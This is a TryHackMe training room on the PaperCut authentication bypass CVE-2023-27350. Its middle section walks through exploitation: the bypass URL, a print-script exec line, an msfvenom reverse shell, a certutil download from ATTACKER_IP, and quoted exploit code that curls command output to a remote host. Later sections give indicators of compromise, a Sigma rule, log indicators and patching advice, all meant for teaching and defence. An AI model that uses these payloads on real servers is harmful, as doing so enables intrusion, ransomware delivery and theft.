Room Banner

PaperCut: CVE-2023-27350

Authorisation bypass (CVE-2023-27350) in PaperCut Print Management software leading to remote code execution.

info

30 min

Room progress ( 0% )

To access material, start machines and answer questions login.

Task 1Introduction

On 8 March 2023, a patch for CVE-2023-27350 was released. The CVE details an authentication bypass in the PaperCut NG/MF application, a web-based software used by enterprise organisations to manage their printers and printing processes. The vulnerability allows any threat actor to remotely gain admin access to the web application and abuse the legitimate scripting functionality in the application to achieve remote code execution as SYSTEM on the server.

The issue, however, was that in the subsequent months that followed, active exploitation of this issue was seen in the wild. There has also been a steady increase in exploitation, including malware delivery with C2 frameworks such as CobaltStrike and even ransomware! The groups behind the active exploitation include prominent Advance Persistent Threats (APTs) such as the Cl0p ransomware group.

Exploitation has seen such a significant uptick because this is a zero-click exploit. It can be fully scripted for automated malware delivery if the target system is vulnerable. In this room, we will explain the vulnerability, show how it can be exploited, how it can be defended against, and the fundamental security principle that this issue raised again, that proper cleanup after an installation is vital!

Starting the VM

To deploy the attached VM, press the green Start Machine button at the top of the task. The machine will take about 5 minutes to load. Make a note of MACHINE_IP, as this will be the IP for your specific vulnerable machine.

To attack this target, you can either use the AttackBox by pressing the Start AttackBox button or use your own attack machine by connecting to the TryHackMe VPN. You can verify that your vulnerable machine has booted by navigating to http://MACHINE_IP:9191.

Answer the questions below
I am ready to learn about CVE-2023-27350!

PaperCut

PaperCut is a popular print management software organizations use worldwide to manage printing and copying services. Within its suite of products, PaperCut offers two similar self-hosted options:

  • PaperCut NG - their print management and control solution
  • PaperCut MF - similar to NG but with extended copy and scan functionalities.

PaperCut has announced that unpatched MF and NG servers are being exploited in the wild, as they are susceptible to the authentication bypass vulnerability described below.

CVE-2023-27350

The Zero Day Initiative ZDI-23-233 details CVE-2023-27350 as a vulnerability allowing an unauthenticated, remote attacker to gain remote code execution and compromise the affected PaperCut application server. This CVE is also directly linked to CVE-2023–27351, which, by abusing the same vulnerability described below, allows an unauthenticated attacker to pull information (usernames, emails, and password hashes) from users stored within PaperCut.

This vulnerability is twofold and initially stems from an authentication bypass vulnerability. This allows an unauthenticated, remote attacker to bypass the login page and gain administrative access to the PaperCut console simply by requesting a URL that was originally used during the application’s installation flow.

This request then initiates the SetupCompleted class, which, as seen in the below code block, includes a call to the performLogin() Java method, passing in Admin as the LoginType argument.

homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);

The application normally calls this function only after a user has become validated during the regular login flow. In this case, however, there is a Session Puzzling flaw within the SetupCompleted class, a logic vulnerability that occurs when session and authentication functions are used for multiple purposes. By exploiting this flaw, the application will mistakenly validate an administrator session for an unauthenticated user.

To learn more about authentication bypass vulnerabilities, check out the Authentication Bypass room!

This authentication bypass leads to remote code execution by abusing the administrator console's built-in “scripting” functionality. If exploited, an attacker can insert arbitrary JavaScript into the print template script. Turning off the sandboxing configuration option grants the printer scripts direct access to the Java runtime, allowing for the execution of arbitrary code. The code can be executed on demand by saving the script. Therefore, simply editing the script can allow for remote code execution.

To heighten the severity of this issue, the executed scripts run in the context of the PrintCut service, which, in turn, executes as the fully privileged NT AUTHORITY\SYSTEM account on Windows installations (or the root account on Linux). Therefore, abusing this functionality gives a previously unauthenticated threat actor full privileges over the host!

Impact

The severity of CVE-2023-27350 has been evident through multiple instances of active exploitation by threat actors who have used it to infiltrate target systems with malicious intent. Due to its simple nature, it is trivial for threat actors to automate the entire attack. Since releasing a public exploit PoC, threat researchers observed multiple groups target vulnerable servers globally, with a large percentage of those targeted in the educational sector. As seen in the below timeline, the groups behind the active exploitation include the prominent Cl0p ransomware group.

A search on Shodan in April 2023 revealed around 1,700 internet-exposed PaperCut servers. As mentioned earlier, PaperCut is a widely used software solution with over 100 million users from 70,000 organizations worldwide, which is a strong motivator for a wide range of threat actors.

In regards to payloads, Sophos has observed the abuse of many legitimate tools commonly used by IT staff, such as AnyDesk, Atera, Synchro, TightVNC, NetSupport, and DWAgent, across multiple campaigns. Moreover, attackers also continue to employ the use of Truebot (malware downloader), Buhtiransom (ransomware), Mirai (botnet) and coin miners on compromised systems.

The below graphic, simplified from data by Sophos, offers an initial timeline of the most notable PaperCut-related events as they unfolded:

A timeline showing PaperCut related artifacts from April 13, 2023 to April 25, 2023. The notable events include the first incident attributed to Cl0p, the first PoC, and evidence of cryptominer downloads, Cobalt Strike, Buhtiransom, remote shells, and PowerShell downloads.

Answer the questions below
What is the name for the logic vulnerability that occurs when session and authentication functions are used for multiple purposes?

What is the name of the Java class containing the authentication bypass vulnerability?

Let’s take a look at what is required to exploit the vulnerability. We will exploit the authentication bypass and take it a step further by leveraging the scripting functionality to gain remote code execution!

Bypassing Authentication

The vulnerability itself is incredibly trivial and something that is seen quite often. When an application is installed, the initial configuration allows the user to bypass the authentication step or authenticate with default credentials. This is why it is still a very popular attack to guess admin:admin (or any other equivalent) on any web application. If the default credentials have not been changed, this will grant you access. Here are some very well-known examples:

  • Apache Tomcat - Authenticate with tomcat:s3cr3t
  • Jenkins - Authenticate with jenkins:jenkins
  • Almost any WiFi router - Authenticate with admin:admin

This is such a popular attack that exploitation of this issue was how the Mirai botnet was created!

To combat this known attack vector, web applications typically avoid the implementation of default credentials. This is done by forcing the user to change the password on the first authentication attempt or by generating a random password. However, this then created the avenue for a new vulnerability, as seen with CVE-2023-27350. If the setup files are not properly removed, a threat actor can leverage this to ask the setup process to "restart" the initial authentication process and grant access.

Let’s examine how this can be exploited in the PaperCut application. Navigate to http://MACHINE_IP:9191 and you will see the following login page:

The PaperCut web server login page

While you can try a password-guessing attack, this vulnerability simplifies it! All you need to do to exploit this vulnerability is navigate to http://MACHINE_IP:9191/app?service=page/SetupCompleted, where you will see the following page:

PaperCut SetupComplete login page

By clicking Login, you will be authenticated to the application!

The PaperCut web server dashboard

It is that simple. As mentioned before, the main issue stems from installation and setup files persisting in the application after the initial configuration. As the SetupCompleted page is responsible for creating your new session but expects you to already be authenticated, we can bypass authentication entirely by simply navigating to the page and pressing the Login button, which generates an active session token for us!

Remote Code Execution

Gaining administrative access to a web application is already concerning, as it can allow a threat actor to read and alter sensitive information. However, it worsens since legitimate functionality can often be leveraged to perform remote code execution on the server.

Code execution as a feature is a hotly debated topic. Most security professionals believe that, in most cases, there should be a better way to implement the functionality than executing direct operating system commands. However, the simple fact is that this cannot be avoided in certain cases. DevOps is code execution as a feature if you think about it. As such, this is not seen as a vulnerability in most cases. It is, therefore, vital to protect access to these systems to ensure that a threat actor cannot misuse them.

The feature in question that can be leveraged in the PaperCut application for remote code execution is the Script Manager for printers. You can navigate to this section as follows:

  1. Click on Printers.
  2. Click on [Template printer].
  3. Click on Scripting.
  4. Check Enable print script.

You should see the following page:

The advanced scripting tab, within the printer details page.

As the scripts are executed through JavaScript, to perform code execution, we can simply use the Java exec() function to execute our code. We can therefore alter the code as follows.

Script
//
// Customize your print process with Print Scripting.  You don't have to be a
// programmer to use Print Scripting.  Use one of the many pre-written recipes
// already written for you, or write your own in JavaScript using snippets and
// reference documentation.
//
function printJobHook(inputs, actions) {
	// your script here
}
java.lang.Runtime.getRuntime().exec('ping.exe ATTACKER_IP');
      

Note: Make sure to change ATTACKER_IP to your AttackBox IP.

While we can add any command, we will start with a simple ping command to verify that the server can connect back to us. To capture the traffic, let’s start a TCPDUMP in a terminal using tcpdump -i ens5 icmp. If you are not using the AttackBox, ens5 has to be changed to your VPN adapter, which in most cases will be tun0. You should see the following:

Terminal
root@ip-10-10-148-236:~# tcpdump -i ens5 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens5, link-type EN10MB (Ethernet), capture size 262144 bytes
19:33:44.102431 IP ip-10-10-100-120 > ip-10-10-148-236: ICMP echo request, id 1, seq 1, length 40
19:33:44.102477 IP ip-10-10-148-236 > ip-10-10-100-120: ICMP echo reply, id 1, seq 1, length 40
19:33:45.107816 IP ip-10-10-100-120 > ip-10-10-148-236: ICMP echo request, id 1, seq 2, length 40
19:33:45.107906 IP ip-10-10-148-236 > ip-10-10-100-120: ICMP echo reply, id 1, seq 2, length 40
19:33:46.123652 IP ip-10-10-100-120 > ip-10-10-148-236: ICMP echo request, id 1, seq 3, length 40
19:33:46.123722 IP ip-10-10-148-236 > ip-10-10-100-120: ICMP echo reply, id 1, seq 3, length 40
19:33:47.139443 IP ip-10-10-100-120 > ip-10-10-148-236: ICMP echo request, id 1, seq 4, length 40
19:33:47.139472 IP ip-10-10-148-236 > ip-10-10-100-120: ICMP echo reply, id 1, seq 4, length 40
      

This shows that our code execution is working! If you want to test yourself, you can now attempt to exploit the host manually and skip the next section. However, if you want to see how we will exploit the issue using a publicly available exploit, you can follow along!

Putting it All Together

Now that we understand both the authentication bypass and the remote code execution, we can combine this to get a shell on the host. If you are unfamiliar with using tools such as Metasploit, it is recommended that you first complete this module. For this step, we will use the publicly available exploit from Horizon3AI, that can be downloaded from this repo. Run git clone https://github.com/horizon3ai/CVE-2023-27350 to download the exploit.

To get a reverse shell, we will have to generate a meterpreter executable. We will use MSFVenom for this step:

Terminal
msfvenom -p windows/shell/reverse_tcp -f exe LHOST=ATTACKER_IP LPORT=4444 -o shell.exe
      
We will need to host this executable to allow the server to download it. We can use the Python HTTP server for this:

Terminal
python3 -m http.server 8080
      
Lastly, we need to configure our listener in a new terminal window:

Terminal
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; exploit"
      

Now that we have everything configured, we are ready to go. We will execute two commands using the Python exploit. The first command will download our executable, and the second will execute it. In a new terminal window, we will use Certutil to download our shell:

Terminal
python3 CVE-2023-27350.py -u http://MACHINE_IP:9191 -c "certutil.exe -urlcache -f http://ATTACKER_IP:8080/shell.exe shell.exe"
      

You should see a download request in your Python HTTP Server. Next, we can use cmd to execute our shell:

Terminal
python3 CVE-2023-27350.py -u http://MACHINE_IP:9191 -c "cmd.exe /c shell.exe"
      

Once you execute the second command, check in with your listener, and you should have a shell:

Terminal
[*] Command shell session 1 opened (10.10.148.236:4444 -> 10.10.100.120:49982) at 2023-07-19 19:58:32 +0100


Shell Banner:
Microsoft Windows [Version 10.0.17763.1821]
-----
          

C:\Program Files\PaperCut NG\server>
C:\Program Files\PaperCut NG\server>whoami
whoami
nt authority\system

C:\Program Files\PaperCut NG\server>
      

As the PaperCut service runs as SYSTEM, there isn’t even a need to perform privilege escalation! We now have the highest level of control over this server.

Understanding the Automated Exploit

The automated exploit script that we use performs the same steps as our manual exploitation. The key steps and the associated code are explained below.

Performing the Authentication Bypass

The first part of the script performs the authentication bypass by using the Python requests library to navigate to the vulnerable SetupCompleted page:

CVE-2023-27350.py
         def get_session_id(base_url):
    s = requests.Session()
    r = s.get(f'{base_url}/app?service=page/SetupCompleted', verify=False)
      

Retrieving an Admin Session

Once the page is loaded, the code performs a POST request to the specified target to recover an Admin session token (JSESSIONID):

CVE-2023-27350.py
    headers = {'Origin': f'{base_url}'}
    data = {
        'service': 'direct/1/SetupCompleted/$Form',
        'sp': 'S0',
        'Form0': '$Hidden,analyticsEnabled,$Submit',
        '$Hidden': 'true',
        '$Submit': 'Login'
    }
    r = s.post(f'{base_url}/app', data=data, headers=headers, verify=False)
    if r.status_code == 200 and b'papercut' in r.content and 'JSESSIONID' in r.headers.get('Set-Cookie', ''):
      

Navigating to the Printer Script Manager

Using the active session, the exploit performs a series of HTTP GET requests to navigate to the printer's Script Manager. By default, the first printer in the list is selected:

CVE-2023-27350.py
def execute(base_url, session, command):
    print('[*] Prepparing to execute...')
    postback = "java.lang.Runtime.getRuntime().exec('cmd.exe /C \"for /F \"usebackq delims=\" %A in (`whoami`) do curl http://10.0.40.83:8081/%A\"');"
    headers = {'Origin': f'{base_url}'}
    data = {
        'service': 'page/PrinterList'
    }
    r = session.get(f'{base_url}/app?service=page/PrinterList', data=data, headers=headers, verify=False)

    data = {
        'service': 'direct/1/PrinterList/selectPrinter',
        'sp': 'l1001'
    }
    r = session.get(f'{base_url}/app?service=direct/1/PrinterList/selectPrinter&sp=l1001', data=data, headers=headers, verify=False)

    data = {
        'service': 'direct/1/PrinterDetails/printerOptionsTab.tab',
        'sp': '4'
    }
    r = session.get(f'{base_url}/app', data=data, headers=headers, verify=False)
      

Embedding the Code Execution

In order to execute the provided command, the exploit has to update and execute the script. This has to be done using a multi-part form submission, as shown below:

CVE-2023-27350.py
data = {
        'service': 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
        'sp': 'S0',
        'Form0': 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1',
        'printerId': 'l1001',
        'enablePrintScript': 'on',
        'scriptBody': "function printJobHook(inputs, actions) {}\r\n" \
                     f"java.lang.Runtime.getRuntime().exec('{command}');",
        '$Submit$1': 'Apply',
    }
    r = session.post(f'{base_url}/app', data=data, headers=headers, verify=False)
      

Verifying Exploitation

The last step is verifying that the exploitation worked as expected. This is done by determining if the message "Saved successfully" is seen in the response:

CVE-2023-27350.py
if r.status_code == 200 and 'Saved successfully' in r.text:
        print('[+] Executed successfully!')
    else:
        print('[-] Might not have a printer configured. Exploit manually by adding one.')
      
Answer the questions below
If the vulnerable host has a hostname of PRINT.TRYHACKME.LOC, what would be the URL that you could use to perform the authentication bypass?
What would be the one-liner added to the Script Manager to execute calc.exe?

What is the value of the flag stored in the Administrator's Desktop folder?

What text is the automated exploit searching for to tell it that the exploitation was successful?

Detection

Before diving into the detection and mitigations published online, let's investigate what application logging information we have that will provide us with information about the attack. Once you have completed the full exploit path, navigate to the Logs feature on the PaperCut application and select the Application Log. You will see the following:

Log data from the PaperCut application, indicating several actions were performed by the admin user

As you can see from the image, the attack is relatively noisy, just in the application logs alone. From these logs alone, we can see the IP from which the authentication as the admin user occurred, and the modification of the print script. Along with this, there are several key areas that defenders should focus their detection efforts on:

  • Network traffic signatures
  • System monitoring
  • Server settings and log files

Network Traffic Signatures

As described earlier, to exploit CVE-2023-27350, an attacker needs to initially access the /app?service=page/SetupCompleted path of the PaperCut server, allowing them to bypass the authentication flow. As such, finding that a GET request was made to this page outside of any known installation or upgrade procedures on the PaperCut server clearly indicates suspicious activity.

Additionally, PaperCut has provided a list of known malicious domains associated with the PaperCut exploit in the wild. If contact with any of these domains is found in Domain Name System (DNS) or web proxy logs, it is considered another indicator of compromise, prompting investigation:

Click to expand the network traffic IoCs.
domains.txt
           upd488.windowservicecemter.com/download/ld.txt
upd488.windowservicecemter.com/download/AppPrint.msi
upd488.windowservicecemter.com/download/a2.msi
upd488.windowservicecemter.com/download/a3.msi
anydeskupdate.com
anydeskupdates.com
netviewremote.com
updateservicecenter.com
windowcsupdates.com
windowservicecentar.com
windowservicecenter.com
winserverupdates.com
study.abroad.ge
ber6vjyb.com
5.188.206.14
upd488.windowservicecemter.com/download/update.dll
        

System Monitoring

When the PaperCut software is used to execute another process, a child process is spawned under pc-app.exe. As such, suspicious parent-child process paths are relatively easy to detect. For example, if the PaperCut process suddenly starts generating powershell.exe or cmd.exe child processes, it is a possible indication that something suspicious is occurring.

Diagram indicating the spawning of malicious command-line executables from the parent Papercut process

Sigma is a generic signature language that is used to write detection rules based on the patterns found in event logs. To learn more about Sigma rules, check this introductory room on Sigma. The following Sigma rule, developed by Huntress Labs, can be used to detect suspicious code execution from vulnerable PaperCut servers:

win_susp_papercut_code_execution.yml
           title: PaperCut MF/NG Vulnerability
authors: Huntress DE&TH Team
description: Detects suspicious code execution from vulnerable PaperCut versions MF and NG
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: "\\pc-app.exe"
    Image|endswith: 
      - "\\cmd.exe"
      - "\\powershell.exe"
  condition: selection
level: high
falsepositives:
    - Expected admin activity

        

In summary, this rule detects suspicious code execution by looking for processes where pc-app.exe is the parent and the current process is either cmd.exe or powershell.exe.

It is important to note that attackers can evade the above rule by using living-off-the-land binaries (LOLBins) or spawning additional child processes between PaperCut and the command-line executable. Because of this, it is increasingly vital to mitigate the vulnerability by upgrading PaperCut to a patched version as described in the below Mitigation section.

The following SHA256 hashes of files on the local system can also be used for threat hunting, as they are known hashes associated with PaperCut exploits in the wild:

hashes.txt
           setup.msi: f9947c5763542b3119788923977153ff8ca807a2e535e6ab28fc42641983aabb
ld.txt: c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125
        
  • setup.msi - This is the associated hash of an installation package for the legitimate Atera remote management and maintenance (RMM) software. Threat actors have been found using this installer to gain persistent remote access and control on affected PaperCut servers.
  • ld.txt - This is the associated hash of the Truebot Malware Windows DLL that has been used by threat actors exploiting vulnerable PaperCut servers.

Server Settings and Log Files

If the PaperCut server is configured to log in debug mode, it may be possible to identify suspicious activity by searching for lines containing SetupCompleted at a time not correlating with any known server installation or upgrade. Additionally, server logs can be found in [app-path]/server/logs/*.*, with server.log typically being the most recent log file. Finding log entries related to the following may be indicators of compromise and warrant further investigation:

  • User "admin" updated the config key "print.script.sandboxed"
  • User "admin" updated the config key "device.script.sandboxed"
  • User "admin" updated the config key "print-and-device.script.enabled"
  • Admin user "admin" modified the print script on the printer
  • User/Group Sync settings changed by "admin"

Mitigation

The vulnerability demonstrated has been fixed in versions 20.1.7, 21.2.11, and 22.0.9. It is therefore strongly recommended to upgrade the PaperCut server to a patched version using the patch guidelines noted in the PaperCut advisory.

The "Check for updates" page (accessed through the Admin interface > About > Version info > Check for updates) will allow you to download fixes for previous major versions which are still supported (20.1.7 and 21.2.11) as well as the current version available.

The PaperCut admin panel, highlighting the Check for updates button

Additionally, the latest versions of PaperCut NG and PaperCut MF can be directly accessed here.

If you are unable to patch immediately, there are several options you can perform to lock down network access and achieve partial mitigation:

  • Block all inbound traffic from external IPs to the web management port (ports 9191 and 9192 by default). This will not mitigate the exploitation of the vulnerability if an attacker has managed to gain access to the local network and pivoted laterally.
  • Block all inbound traffic to the web management portal on the firewall to the server. This method will prevent lateral movement and pivoting from internal hosts but also prevent management of the PaperCut service from any other location besides the server itself.

Detection Scenario

It's time to investigate a real-world scenario using the abovementioned methods! Ensure to click Start Machine at the top of this task, and the website will initialize in a split-screen view. Note: It may take a few minutes to become reachable. You can refresh the embedded browser if needed by clicking on its name, beside the "Machine Information". In case the VM is not visible, use the blue Show Split View button at the top of the page.

Answer the questions below
Based on the application logs in the first image, what is the name of the printer for which the "print script" has been updated?

What is the executable name of the PaperCut process on Windows?

What is the flag you receive after detecting the indicators of compromise within Inktrail's network?

In this room, we have shown how easy it is to exploit the PaperCut authentication bypass vulnerability and abuse the scripting functionality to achieve remote code execution. It is worth noting that as the remote code execution happens through a legitimate feature, even if you patched this vulnerability, threat actors could still take advantage of this if you configured a weak password on the application. As such, this brings two main lessons:

  • For developers - Ensure you perform sufficient cleanup of installation and setup files after the process. Often the bypasses embedded in these files that complete the installation can be leveraged by threat actors if they are not removed.
  • For users - Often, applications have powerful functionality that runs in privileged contexts. To protect this functionality, ensure to keep your software up to date and use strong passwords for administration interfaces.

Keeping your software up to date and using strong passwords will go a long way to keeping you secure!

Answer the questions below
I understand the vulnerability, how it is easy to make this mistake, and how to better protect myself in the future!

Room Type

Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!

Users in Room

5,678

Created

360 days ago

Ready to learn Cyber Security? Create your free account today!

TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.

Already have an account? Log in

We use cookies to ensure you get the best user experience. For more information contact us.

Read more